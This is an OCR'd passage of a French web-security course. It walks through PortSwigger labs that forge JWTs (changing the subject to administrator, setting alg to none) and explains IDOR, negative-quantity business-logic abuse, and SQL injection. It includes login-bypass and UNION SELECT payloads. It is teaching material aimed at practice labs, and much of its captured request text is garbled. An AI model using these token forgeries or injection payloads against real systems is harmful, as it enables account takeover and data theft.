eyJraWQiOiJiZTBhYTFhMi1IMTAzLTQ1NGUtYWYyOC1kODkwOWZhZTQ3MDYiLCJhb
GciOiJSUzI1NiJ9

Son décodage :

{"kid":"be0aa1a2-e103-454e-af28-d8909fae4706","alg":"RS256"}
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On peut y lire que l'algorithme asymétrique utilisé pour la signature est le RS256
(signature RSA avec SHA-256)

La deuxiéme partie, la charge utile (qui contient les informations stockées dans le

jeton), est également encodée en Base64 :
eyJpc3MiOiJwb3J0c3dpZ2dicilsInN1Yil6IndpZWS5IcilsimV4cCI6MTY3MjQ2MDAS5MX0

Son décodage :

{"iss":"portswigger”,"sub”:"wiener","exp":1672460091}

On peut y voir le créateur du jeton (iss pour issuer), le sujet du jeton (sub pour subject)

et finalement une date d’expiration (exp).

La troisiéme partie est la signature numérique du jeton : elle est obtenue en chiffrant
avec une clé privée la concaténation de la premiére et de la seconde partie, toutes deux

codées en Base64 et séparées par un point :

VhcXOkOxuB1JgJF8qUCUIZJyi6H6ScVIUXrGZRcO16fPI8IJhxULPt_mpGJ6Qr-
0SCLHgEoGjRCzTtdgxb3gxWnVNHMe0-IMwfJe-
1tDqlzf8_r_esEOmM5rqeEa1HMoWO10MKROfF6Ed85HqVaxaOYPTcSk39QFEy-0Pf72-
aV9lybeNzL7sV229zk7JyBscZfELSHkfHRbOEb5VrO95nsHRDio4F-
10J29AY4qB3FU00vVp1PAHV_aFPbmZv8XJiMjuMBMWdAFGMp_zjdYN2_r4sjHxJ7LgGJ
V8dKH9Jvb8BMd_s60BixYfe014wHegYhmDV6dz4fds9G_59gzQTXvg

Nous allons voir que ce systéme d’authentification peut subir diverses attaques...
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Contournement de I'authentification JWT via une signature non
vérifiee
Ce premier labo est réalisable sur le site de PortSwigger (JWT authentication bypass

via unverified signature).

La signature n’étant pas vérifiée, on va juste modifier la seconde partie du jeton en
remplagant le nom d’utilisateur par celui de I'administrateur, et nous pourrons alors

exécuter une action en son nom.
But du labo :

modifier le jeton de session JWT afin d’obtenir un accés au panneau d’administration
dans le but de supprimer l'utilisateur carlos. On se connecte avec l’identifiant

wiener:peter. On intercepte la requéte avec Burp :

Prett Raw Hex \n =

1 GET /my-account?id=wiener HTTP/1l.1

2 Host: D0a53008303cf4ec5c0397ddb00120085.web-security-academy.net

5 Cookie: session=
eyJraWQiOiT4MGFmZTQ4NSOZMIkZLTQLZDULYTewYi0 Ll ZTkSNZ MyMVKNGE iLCIJhbGe i0idSUzTIINiJS. . eydp
c3MiOiJwb3J0c3dpZiZdlcilsInNIYiléIndpZWS1lcilsImV4cCIEMTY3IMIQZODUZzOX0. . mwWnslpVoaAYDMW4i
EOLfNFH1AfSYSLHIJAMAODHVPZ ts5tMQScPitOhPnScuyMEay8cq0hewGEteTAtQiESMIJIJEMOpuAnZBn0ij3Zbew
9HgJIXpQleEbLAZAt TEMATZ kBAVYKETCSNSgAtQUDtrNh3pO-e]lad7LEDAgLiVHXBt ZEvX2hTovK1S3yUTQS
1lkITOYyKEsKWgle3NirjbUWedYMZ jObF 1z8xe06b5tolZReQP3FO00R4woZATEQO9xE81lgYnil3eFDutsnFiF31U
dhZ_5MeCl80ct7VylYbd OSPVIxYTi8gkTv4YwSI-jFH-ZXYVYpQ4KtxmIWUnSwNrcojjew

4 Sec-Ch-Ua: "Not?A Brand";v="8", "Chromium";wv="108"

5 Sec-Ch-Ua-Mobile: 20

© Sec—-Ch-Ua-Platform: "Windows"

7 Upgrade-Insecure-Requests: 1

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleWebKit/537.3€ (KHTML, like
Gecko) Chrome/1l08.0.5359.125 Safari/537.3¢6

o Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apn
g, */*;q=0.8,application/signed-exchange;v=b3;q=0.9

10 Sec-Fetch-5Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: 2?1

13 Sec-Fetch-Dest: document

14 Referer: https://0a53009303cf4ec5c0397ddb00120085. web-security-academy.net/my-account

15 Accept-Encoding: gzip, deflate

16 Accept-Language: fr-FR,fr;q=0.9,en-US;¢=0.8,en;q=0.7
17 Connection: close

On envoie cette requéte dans le ' Intercept is off
repeater puis on met le proxy en OFF.

When enabled, requests sent by Burp's browser are held here so
that you can analyze and modify them before forwarding them to
the target server.
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Requéte dans le repeater :

Request

Prett Raw Hex = \n

GET /my-account?id=wiener HTTP/L.l

Host: 0a53009303c¢f4ec5c0397ddb00120085. web-security-acadenmy.net

Cookie: session=
eyJraWQiOiT4MGFmZTQ4NSOZMIkZLTQLZDUt YTewYi0 L ZTkSNZ MyMVkNGEiLCJhbGei0idSUzT1INiJ9. eyJpe3Mi0idwh3J0
c3dpZZdleilsInNIYiIeIndpZUSlcilsImV4cCIENTY3IMIQZODUzOX0 . mwWns lpVoaAYDMW4iEOLENFH1A£SYSLHIJAMAODHVP
2tsS5tMQS5cPitOhPnScuyMKayB8qOhewGfeTdtQiESmIjIKMSpulnZBn0]i3 Zb EwSHgI XqpQleEDAZ4t TEMAIZ kBAVgKETCSNsg
AcQUWDLtrNh3pO-ejlad7LEDAgliVMXBt ZEvXZhTovK1lS3yUTQSilkITOYKsKWgle3NirjbUWedYMZ JjObF 1z8xe0€bStol2ReQP
3FO0OR4woZA7£Q9%x81lgYnil3eFDutsnFiF31UdhZ_ SMeCl80ct7VylYbd OSPVIxYTi8gkTv4YwS5Z-jFH-ZXYVYpQ4KtxmZiWn
Swllrgojjew

Sec-Ch-Ua: "Not?A Brand";wv="8", "Chromium";v="108"

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: "Windows"

Upgrade-Insecure-Recuests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =€4) AppleWebKit/537.3€ (KHTML, like Gecko)
Chrome/108.0.5359.125 Safari/537.36

Accept:
text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8,
application/signed-exchange;v=b3;q=0.9

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: navigate

Sec-Fetch-User: 2?1

Sec-Fetch-Dest: document

Referer: https://0a53009303cf4ec5c0397ddb00120085. web-security-academy.net/my-account
Accept-Encoding: gzip, deflate

16 Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

17 Connection: close

[P

R

w0

T

On sélectionne la deuxiéme partie du jeton que I'on décode en Base64 :

Selected text
eyJpc3MiOidwb3J0c3dpZidlcils

InNLYiIéIndpZWSlcilsImV4cCIE
MTY3M)QZODUzOX0

Decoded from: URL encoding v ( (
eyJpc3MiOiJwbh3J0c3dpZidlcils

InN1YiI&IndpZWSlciIsImV4cCIe
MTY3M)QZODUzOX0

Decoded from: Base6d v (O @

{"iss":"portswigger"”,"sub":"
wiener"”, "exp":1€724€8539}
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On remplace l'utilisateur wiener par administrator puis on clique sur Apply changes :

Decoded from: Base6d v (O @

{"iss":"portswigger"”, "sub":"

‘ administrator", "exp": 1672468
539}

Cancel Apply changes h

GET /my-account?id=wiensr HTTP/Ll.l

Host: 0a53009303cf4ec5c0397ddb00120085.web-security—-academy.net

Cookie: session=

eyJraWQiOiT4MGFmZTQ4NS0Z MikILTQLZDUtYTewYi0 Ll ZTkSNZ MyMVkNGEiLCIJhbGei0idSUzIINiJ9. eydpe3MiOidwbh3d0
e3dpZ2dlcilsInNIYiT6InFkbWluaXNOcnFOb3 TiLCJ1eHALIOJECNZIONjglMz19 . nwWns LpVoaAYDMW4iEO LENFH1IA£9YESLH
JAMAODHVPZts5tMQScPit0OhPnScuyMKay8q0hewGfeTdtQiESmIJIKMIpuAnZ8n0]j3 Zb ewIHgIXpQleELAZAt TEMAIZ kBAV
gKETCSNSgAtQUDtrNh3pO-2j1ad7LEfDAgLliVMXBt ZEvXZhTovK1S3yUTQ51i1kITOyKsKUgle3NirjhUWedYMZ jObF LzBx=0Eb
Stn12RanDIFNNNRAEAZA?FNAVRITAVRi1aFMnranFiF1dhZ_ SMeClB80ct7VylYbd OSPVIXYTiBgkTv4YwS52-jFH-2XYVYp

On modifie ensuite la requéte GET en Rk

WM

la dirigeant vers le répertoire /admin.

£ User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleWebKit/537.3€ (KHTML, like Gecko)
Chrome/108.0.5359. 125 Safari/537.36

9 Accept:
text/html, application/xhtml+xml,application/xml;q=0.9, image/avif, image/vwebp, image/apng, */*;q=0.8,
application/signed-exchange;v=b3;q=0.9

10 Sec-Fetch-5Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: 2?1

: Sec-Fetch-Dest: document

Referer: https://0a53008303cf4ec5c0397ddb00120085. web-security-acadenmy.net/my-account

, Accept-Encoding: gzip, deflate

16 Accept-Language: fr-FR,fr;q=0.9,en-U5;q=0.8,en;q=0.7

17 Connection: close

Raw Hex e \n =

I GET /admin HTTP/1l.l
Host: 0a53009303cf4ec5c0397ddb001Z0085.web-security—-academy.net

Cookie: session=
eyJraWQiOiT4MGFMZTQ4ANS0ZMikZLTQLZDULYTewYi0Ll ZTkSNZ MyMVkNGEiLCIhbGei0iJSUzIINiJS. eyJpe3Mi0idwh3d0
c3dpZZdlcilsInNIYiIé InFkbWluaXNOcnFOb3 TiLCJ1eHAIOJEZNZION jglMz19 . mwWns lpVoaAYDMW4iEOLfNFH1A£9YELH
JAMAODHVPZts5tMQ5cPitOhPnScuyMKay8qOhewGteTAtQiESmIJIKM9puAnZBn0]i3 Z2hEwIHgIXqpQleELAZAt TEMAIZ kBdAV
gKETCSNsgAtQUDtrNh3pO-ejlad7LEDAgLiVMXBt ZEvXZhTovK1lS3yUTQS1ilkITOyKsKUgle3NirjhUWedYM2 JObF L1zBxe0Eb
S5tolZReQP3FO0OR4AwoZATEQ9xB1lgYnil3eFDutsnFiF31UdhZ_SMeCl80ct7VylYhd OSPVIxYTi8gkTv4YwSI-jFH-ZXYVYp
Q4KtxmZWnSwlircojjew
Sec-Ch-Ua: "Not?A Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 1l0.0; Winé4; x€4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/108.0.5359. 125 Safari/537.3¢€
S Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;¢=0.8,

application/signed-exchange;v=b3;¢=0.9
10 Sec-Fetch-5ite: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: 2?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a53009303cf4ec5¢c0397ddb00Ll20085. web-security-academy.net/my-account
15 Accept-Encoding: gzip, deflate
16 Accept-Language: fr-FR,fr;q=0.9,en-US5;q=0.8,en;q=0.7
17 Connection: close

(TS

m
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La réponse regue par le repeater contient le lien tant convoité :

o
(o))

<span>
carlos -

</span>

57 » <a href="/adwmin/delete?username=carlos">
Delete

</fa>

co s AL

Je modifie a nouveau, dans le repeater, la requéte GET en y introduisant le lien de

suppression ci-dessus :

m {}|| cancel

Request

Pretty Raw Hex \n =
‘ 1 GET /admin/delete?username=carlos HTTP/1l.1l

Host: 0a53009303cf4ec5c0397ddb00120085. web-security-academy.net

Cookie: session=
eyJraWQiOiT4MGFmZTQ4NS0ZMIkZLTQLZDUtYTewYi0 L ZTkSNZ MyMaVKNGE iLCIhbGei0idSUzIINiJ9. eydpe3MiOidwh3J0
c3dpZZdleilsInNlYiI6é InFkbWluaXliOcnFOb3 TiLCJ1eHAIOJEZNZIONjglMz19 . nwWns lpVoaAYDMW4iEOLENFHIAEfSYSLH
JAMAODHVPZ ts5tMQ5cPitOhPnScuyMKayBqOhewGfeTdtQiESmIjJJKMOpuAnZ8n0]3 Zb EwSHgI XqpQleEbAZ4t TEMAIZ kBdV
gKETCSNsgAtQUDtrNh3pO-2]jlad7LfDAgLiVMXBt ZEfvXZhTovK1S3yUTQSilkITOyKsKUgle3NirjbhUWedYM2jObF L1z8xe0Eb
StolZReQP3FO0OR4woZA7EQ9x%81lgYnil3eFDutsnFiF31UdhZ_SMeCl80ct7VylYhd OSPVIxYTiB8gkTv4YwS5Z-jFH-2XYVYp

Q4KtxmZWnSwlircojjew
Sec-Ch-Ua: "Not?A Brand";v="8", "Chromium";v="108" ‘

0o

w

[T

Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Platform: "Windows"

o

146.

Upgrade-Insecure-Recquests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) App
Chrome/108.0.5359. 125 Safari/537.3¢€

o Accept: Response
text/html, application/xhtml+xml, application/xml;gq=0.9, imad
application/signed-exchange;v=b3;¢=0.9 Pretty Raw Hex Render

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: ?1

13 Sec-Fetch-Dest: document

14 Referer: https://0a53009303cf4ec5c0397ddb00120085. web-sec
Accept-Encoding: gzip, deflate

16 Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

17 Connection: close

HTTP/L1.1 302 Found
Location: /admin
Connection: close
Content-Length: O

()
wn
W b

}
o n

Réussite de notre attaque du jeton JWT :

Web Security JWT authentication bypass via unverified signature

Academm Back to lab description

Congratulations, you solved the lab!
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Contournement de l'authentification JWT via une vérification de

signature erronée

Ce second labo est réalisable sur le site de PortSwigger (JWT authentication bypass via

flawed signature verification).

On va ici remplacer I'algorithme utilisé par la valeur none, pour ensuite supprimer la
troisieme partie du jeton devenue inutile. Il ne restera plus qu’a remplacer le nom

d’utilisateur par celui de ’administrateur pour exécuter une action en son nom.

Le but du labo est identique a celui du chapitre précédent.

Interception avec Burp de la requéte aprés connexion, que I’on envoie dans le repeater :

m {§} Cancel

Request
Prett Raw Hex =] \n =

1 GET /my-account HTTP/1l.1l
2 Host: 0alcOOS0O03Ef74Zbcl780e6d007h00%9E. web-security—-academy.net
Cookie: session=
eyJraWQiOiIwNzISZiBiMyOyMjJhLTQLYWOLYTVEMSOLlYJYS YV INmF JMWYiLCIJhbGei0idSUzIINiJ9. eydpe3MiOid
wh3J0c3dpZ2dlcilsInNlYiIEéIndpZWS1lcilsImV4cCIENTY3M]QZODK3MHO. MsskWYKLIvC-cJKvOW_c_Skgl2yDOmI
Vag9HYEOFNkQLSXYOLUE30iiRS98alypzP-cYZD)2 z040Xx7HcUB4Hqx WIPWUNGAURGZVSvxc imgKIaS INLhIJyATKOQS
MS7THMELOWUSHDEYExLth-bP3PZYQ W50rJ10Kv-ISK3b7F IWJLCBOAHKOHw3Ix55hjUsasudwwdd t4o0mdIPrATAZmtSU
PyCmo&TIX-BmZ37dVVoEVE30PosjphJClvwlRUay78X1t0Osmy INP3WOVAUONy4 Iskeb0eAKnzGPF-SZiXUgBEIf_ nYW
OVBntTyHlza5CraRBUJy9rKwehmSECpRUSwW
Cache-Control: max-age=0
5 Upgrade-Insecure-Recquests: 1
& User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/ 108.0.5359.125 Safari/537.36
Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */ *; q
=0.8,application/signed-exchange;v=b3;q=0.9

Z Sec-Fetch-Site: same-origin

9 Sec-Fetch-Mode: navigate
10 |Sec-Fetch-User: 2?1
11 Sec-Fetch-Dest: document
12 Sec-Ch-Ua: "Not?A Brand”;wv="8", "Chromium";v="108"
13 Sec-Ch-Ua-Mobile: 20
14 Sec-Ch-Ua-Platform: "Windows"
15 Referer: https://0alc005003€£742bcl78026d007h0096. web-security-acadeny.net/ login
16 Accept-Encoding: gzip, deflate
17 Accept-Language: fr-FR,fr;q=0.9,en-US5;q=0.8,en; =
12 Connection: close

w

W

Intercept is off
On place alors le proxy en OFF. »

When enabled, requests sent by Burp's browser are held here so
that you can analyze and modify them before forwarding them to
the target server.
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On va ici indiquer dans la premiére partie du jeton qu’aucun algorithme de chiffrement
ne doit étre utilisé :

OO

Inspector 'ln T - & X
Selection 80 (0x50) A
Selected text

eyJraWQiOiIwNzI5Z3BiMy0yMjJhLTQLYWQLYTV
KMSOL1Y3 Y5 YV 1NmFjMUYiLCIhbGeiOidSUz TINi
Jg

Decoded from: URL encoding Vv e ®

eyJraWQiOiIwNzISZiBiMyOyMjJhLTQLYWQLYTV

KMSOLY I YSYnV1INFJMUYiLCJhbGeiOidSUzTINL
Jg

Decoded from: Base64 Vv SNO)

{"kid":"0D729f0b3-222a-45ad-a5d1l-5b&Sbee
gaclf","alg":"RS256"}

a 3

4

Decoded from: Base64 Vv e ®

{"kid":"0729f0h3-222a-45ad-a5d1l-5bESbee
gaclf"”,"alg":"none'"}

¥ o

On clique ensuite sur Apply changes.



Introduction a la cybersécurité / Le monde du web

La requéte est modifiée en conséquence :

Request

Prett Raw Hex = \n

1 GET /my-account HTTP/1.1

2 Host: 0alcO0S0036f74Zbcl780eed007hb00%E . web-security—-academy.net

5 Cookie: session=
eyJraWQiOiIwNzISZiBiMyOyMjJhLTQLYWOCYTVEMSO LY YSYVINmF MU YiLCIJhbhGei0iJub251In0%3d. eydpe3Mi0
1Jwh3J0c3dpZZdlcilsInNIYiléIndpZWS1lcilsImV4cCIENTY3MQ2ZODk3IMHO. MsskWYgKLvC-cJKvOW_c_SkglZyDO

mIVagSHYECOFNkQLSXYOLUE30i1iiR598alypzP-cYZD]jZ z040Xx7HcUB4Hx WIPWUNAURGZVSvxcimgKIaSINLhJyATKO
Q5MSTMELOWUSMDEYLXLth-bP3PZYQ WS0rJ1OKv-ISK3b7F IWJLCBOAHKOHw3Ix55bjUsasudwwdd_ t4o0mdIPrATAZmt
SUPYCmoETIX-BmZ37dVVoEVE30PosjphJdClvwlRUay78X1tOsnmy1NP3WOVAUONY4 Iskeb0eAKnzGPF-SZiXUgBEqIf n
YUOVBnt TyHlzaSCraRBUJy9rKwehmSECpRUSW

Cache-Control: max-age=0

Upgrade-Insecure-Recquests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/108.0.5359.125 Safari/537.3F

Accept:

R ISErEEregaNd  On peut alors supprimer la troisiéme partie du [EEPEIEE

o s

jeton devenue inutile a cause du non-chiffrement !

g Request
- Prett Raw Hex =
2 1 GET /my-account HTTP/Ll.l

2 Host: 0alc005003€f74Zbcl78026d007b00%E. web-security-academy.net
3 Cookie: session=

iJwh3J0c3dpZ2dleilsInNIYiléIndpZWSleilsImV4cCIEMTY3MjQZODK3MHO.
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Recquests: 1

eyJraWQiOilwNzISZiBiMyOyMjJhLTQLYWOLYTVKNSO LY YS YV 1NnF JMUYiLCIhbGeiOiJub251In0%3d. eydJpe3i0

On sélectionne ensuite la seconde partie du jeton JWT :

Inspector "m T - © X

Selection 71 (0x47) A

Selected text

eyJpc3MiOidwbh3J0c3dpZidlcilsInNlYilIéInd
PZUS1cilsImV4cCIEMTY3IMjQZODk3 MHO

Decoded from: URL encoding Vv @ @

eydJpc3MiOidwbh3J0c3dpZildleilsInNlYiI&eInd
PZWS1lcilsImV4cCIEMTY3IMjQZODk3 MHO

Decoded from: Base64 Vv e ®

{"iss":"portswigger", "sub":"wiener", "ex

pP":1e724€8970} ‘

GloLe
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On y remplace wiener par le mot administrator et on applique les changements :

Decoded from: Base64 Vv e®

{"iss":"portswigger", "sub":"administrat «
or", "exp":1872468970}

Cancel Apply changes

Le cookie est modifié en conséquence. Nous modifions alors la requéte GET pour la

diriger vers le répertoire /admin :

Request
Prett Raw Hex \n =

‘ 1 GET /admin HTTP/1.l
2 Host: DalcO0S5S003€f£74Zbcl780e6d007h009E.web-security—-academy.net

5 Cookie: session=
eyJraWQiOiIwNzISZiBiMyOyMjJhLTOLYWOLYTVEMSO LY YSYV1NF JMUYiLCJhbGeiOidJubZ51In0%3d. eydpec3Mi0
1Jwb3J0c3dpZ2dlcilsInNLIYiTé ImFkbWluaXlNO0cnFOb3 IiLCJ1leHAIOJEZNZzIONjgSNzBY.

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Recuests: 1

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4) AppleWebKit/537.3€ (KHTML, like Gecko)

Chrome/108.0.5359.125 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, image/apng, */ *;

=0.8,application/signed-exchange;v=b3;q=0.9
£ Sec-Fetch-Site: same-origin

9 Sec-Fetch-Mode: navigate

10 |Sec-Fetch-User: 2?1

11 Sec-Fetch-Dest: document

12 Sec-Ch-Ua: "Not?A Brand";v="8", "Chromium";wv="108"

13 Sec-Ch-Ua-Mobile: 20

14 Sec-Ch-Ua-Platform: "Windows"

15 Referer: https://0alc0050036£742bcl78026d007b009€ . web-security-academy.net/ login

16 Accept-Encoding: gzip, deflate

17 Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

12 Connection: close

La réponse s’affiche dans le repeater et contient a nouveau le lien attendu :

<span>
carlos -

</span>
» <a href="/admin/delete?username=carlos'">
Delete
</a>

e d Al
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Nous modifions encore une fois la requéte GET pour la diriger vers ce lien de

suppression :

Request

Pr

m

thy Raw Hex B \n =

GET /admin/delete?username=carlos HTTP/1l.1

Host: Dalc0050036f£74Zbcl780e&6d007b00%E . web-security—-academy.net

Cookie: session=

eyJraWQiOiIwNzISZiBiMyOyMjJhLTQLYWQLYTVEMSO LY Y5 YV INmF i MUYiLCIhbGei0idub251In0%3d. eyJpe3Mio
1iJwh3J0c3dpZZdleilsInlYiTé InFkbWluaXlNOcmFOb3 IiLCJ1eHALIOJEZNZzIONjgSNzE9.

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleWebKit/537.3€& (KHTML, like Gecko)
Chrome/108.0.5359.125 Safari/537.36

Accept:
text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*; q
=0.8,application/signed-exchange;v=b3;¢=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 21

11 Sec-Fetch-Dest: document

12 Sec-Ch-Ua: "Not?A Brand";wv="8", "Chromium'";v="108"

13 Sec-Ch-Ua-Mobile: 20

14 Sec-Ch-Ua-Platform: "Windows"

15 Referer: https://0alc005003€£742bcl780e6d007b009€E . web-security-academy.net/ login
Accept-Encoding: gzip, deflate

Accept-Language: fr-FR,fr;q=0.9,en-U5;¢=0.8,en;q=0.7

Connection: close
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Web Security JWT authentication bypass via flawed signature verification

Academm Back to lab description

Congratulations, you solved the lab!

Réussite de notre seconde attaque du jeton JWT.
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La vulnérabilité de référence d’objet direct non sécurisée (IDOR)

La vulnérabilité IDOR (= Insecure Direct Object Reference) est dangereuse car elle peut
permettre a un attaquant de :

= Voler vos données personnelles et/ou les modifier
= Contourner I'authentification

= Prendre controle de votre compte

https://boutique.com/display.php?facture=2450
Si en remplacant le numéro de facture 2450 par 2435, vous pouvez accéder a la facture

de quelqu’un d’autre, vous aurez découvert une vulnérabilité IDOR.

https://mon-site.net/account.php?id=125
Si en remplagant I'identifiant du compte par 122, vous pouvez accéder au compte de

quelqu’un d’autre, vous aurez a nouveau découvert une vulnérabilité IDOR.

On peut méme imaginer que vous deveniez administrateur avec le bon identifiant, par
exemple :

https://mon-site.net/account.php?id=1

Les requétes ci-dessus sont des requétes GET, mais il est évidemment également
possible de découvrir, avec Burp, une vulnérabilité IDOR avec la méthode POST! I

suffira de modifier le paramétre de la requéte dans le repeater.

CONTRE-MESURES :

=>» Gérer correctement les autorisations d’acces.

= Remplacer les identifiants auto-incrémentés par des identifiants générés aléatoirement.

Comment mettre en évidence I'IDOR si les identifiants sont imprévisibles

On crée sur le site deux comptes (par exemple pour Luc et Robert)
On se connecte au compte de Luc

On remplace I’id de Luc par celui de Robert (que I’on connait)

I A e

Si on a accés au compte de Robert sans s’étre authentifié, on posséde notre PoC
(Proof of Concept)
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La vulnérabilité de type Business Logic

Pour expliquer ce type de vulnérabilité, prenons une requéte POST lors de I'achat d’un

article sur une boutique en ligne :

Le paramétre de la requéte POST pour 'achat d’un ordinateur codtant 1200 €

est:
productld=125&quantity=1

Nous aurons une vulnérabilité de type Business Logic si un attaquant peut

modifier avec succeés la requéte comme suit :
productld=125&quantity=-1

La quantité devenant négative, le compte de l'utilisateur sera crédité de 1200 €.
Il sera alors possible pour notre attaquant d’acheter un autre ordinateur codtant,

par exemple 1450 € en ne payant au final que 250 €.

Voici cette technique utilisée dans I’application vulnérable Juice-Shop :

Votre panier (max@gmail.com)

Jus de pomme (1000ml) = -100 1.99x

Prix total: -199x

& Commander

Vous gagnerez 0 Points Bonus pour cette commande!

Aprés modification de la requéte POST dans le repeater de Burp (la quantité de jus de
pomme achetés est fixée a -100), le solde du compte me permet d’acheter pour 199 € de
marchandises sans devoir rien payer. Vous imaginez la dangerosité de ce type
d’attaque dans le monde réel...
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Injection SQL (saLi) : introduction

Le langage SQL permet d’interagir avec les bases de données utilisées par les sites
web.

Les injections SQL (SQLi) permettent d’injecter des instructions SQL sur le serveur
afin qu’elles soient exécutées par ce dernier. Cela arrive lorsque les entrées ne sont
pas validées et filtrées correctement.

Le hacker peut alors avoir accés aux bases de données du site (et donc aux
informations sensibles qu’elles contiennent) et méme faire des uploads de fichiers.

VOCABULAIRE SQL

VERBES SQL
SELECT récupéere une donnée dans une table
INSERT ajoute une donnée dans une table
DELETE supprime une donnée dans une table
UPDATE modifie une donnée dans une table
DROP supprime une table
UNION combine des données de plusieurs tables

AUTRES TERMES COMMUNS

WHERE filtre des enregistrements en fonction d’une seule condition
AND/OR/NOT filtre des enregistrements en fonction de multiples conditions
ORDER BY trie les enregistrements en ordre croissant ou décroissant

CARACTERES SPECIAUX

et délimiteurs de chaine
-- et délimiteurs de commentaire
* et % wildcards

; termine une déclaration SQL
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OPERATIONS IMPORTANTES DANS UNE BASE DE DONNEES SQL (CRUD)

CREATE TABLE table_name (
column1 datatype,
column2 datatype,

Create column3 datatype,

SELECT column1, column2, ...
FROM table _name;

Read

SELECT *
FROM table_name WHERE column2 = valueX;

UPDATE table_name
Update SET column1 = value1, column2 = value2, ...
WHERE condition;

D DELETE FROM table_name WHERE condition;,
estroy

SQL : JOINTURE POUR LIER PLUSIEURS TABLES

INNER JOIN

SELECT column_name(s)
FROM table1
INNER JOIN table2

ON table1.column_name = table2.column_name;
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PRIMARY KEY / FOREIGN KEY (MYSQL)

PersonID
1
2
3

1
2

Table personnes :

LastName FirstName Age
Colin Robert 85
Joly Luc 52
Michiels Marcel 22

Table commandes :

OrderiD OrderNumber PersonID

83157 2
13573 2
87365 1

41257 3

PRIMARY

KEY

CREATE TABLE Personnes (
ID int NOT NULL,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Age int,
PRIMARY KEY (ID)

FOREIGN

KEY

CREATE TABLE commandes (
OrderID int NOT NULL,
OrderNumber int NOT NULL,
PersonlID int,
PRIMARY KEY (OrderID),
FOREIGN KEY (PersonID) REFERENCES Personnes(PersonID)

OO
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select * from accounts where username = 'max’ and password = 'test123'

Si 'injection SQL est possible, il me suffira de mettre, dans le formulaire de login, le
password suivant :

"or1=1#(ou:'or1=1-- -, ouencore:'or'1'="1)

Résultat : je bypasse le login

Si j’entre 'username suivant :
admin' # (ou admin' -- -)

Résultat : je bypasse a nouveau le login mais cette fois, je suis carrément connecté
avec le compte 'admin’ (si ce compte existe) sans pourtant connaitre son mot de
passe...

Soit I’'instruction suivante :

select Name, Description from Products where ID = '$id"

e Si je tape comme valeur pour $id : ' or 'a'='a: la base de données

sélectionnera tous les éléments de la table Products

e Sije tape comme valeur pour $id : ' union select Username, Password from

Accounts where 'a’' ='a : les usernames et passwords seront sélectionnés

Classification des injections SQL

In-band SQLi Error-based SQLi (réponse = erreurs)

On attend une réponse de la cible Union-based SQLi (réponse = données)

Blind SQLi = Inferential SQLi Boolean-based SQLi

On observe le comportement de la cible Time-based SQLi

Out-of-band SQLi
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In-band SQLi

= SAQLi classiques

Error-based SQLi

Force la base de données a exécuter des opérations en
vue d’obtenir des messages d’erreur qui procureront des

informations sur la base.

Union-based SQLi

On joint une requéte forgée a la requéte originale en
combinant plusieurs commandes SELECT avec la
commande UNION. Le résultat de la requéte forgée sera

joint a celui de la requéte initiale.

Blind SQLi

= pas de messages
d’erreur,

= technique assez
lente

Boolean-based blind SQL.i

Retourne un résultat différent selon que la requéte renvoie
VRAI ou FAUX.

Time-based blind SQLi

Le temps de réponse a la requéte indique si celle-ci
retourne VRAI ou FAUX. On utilise la commande sleep(x)

= attendre x secondes(s).

Out-of-band SQL.i

=» assez rare

Ce type d’attaque est une alternative a I'attaque time-based
dans le cas ou le temps de réponse a la requéte est fort

variable a cause d’une instabilité du systéme.
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On utilise ici la commande UNION qui combine le résultat de deux ou plusieurs SELECT.

Attention : les SELECTS reliés par un UNION doivent avoir le méme nombre de champs

(colonnes). On découvre le nombre de colonnes par itération :

r

9' UNION SELECT NULL ; -- -
Pour trouver le nombre de

colonnes (par exemple 3), on peut
9' UNION SELECT NULL, NULL ; -- - aussi taper :

* order by 1 - -
*order by 2 -- -
Et ainsi de suite jusqu’a ce qu’il n’y ait plus d’erreur ! "orderby 3 -- -

‘order by 4 -- - [ELEIGY

&

Mais comment faire si I’application n’affiche pas d’erreur ? Dans ce cas, on débute par

un ID valide (par exemple 11). On sait que I'ID est valide parce que, par exemple, une

image s’affiche.

SYNTAXE :
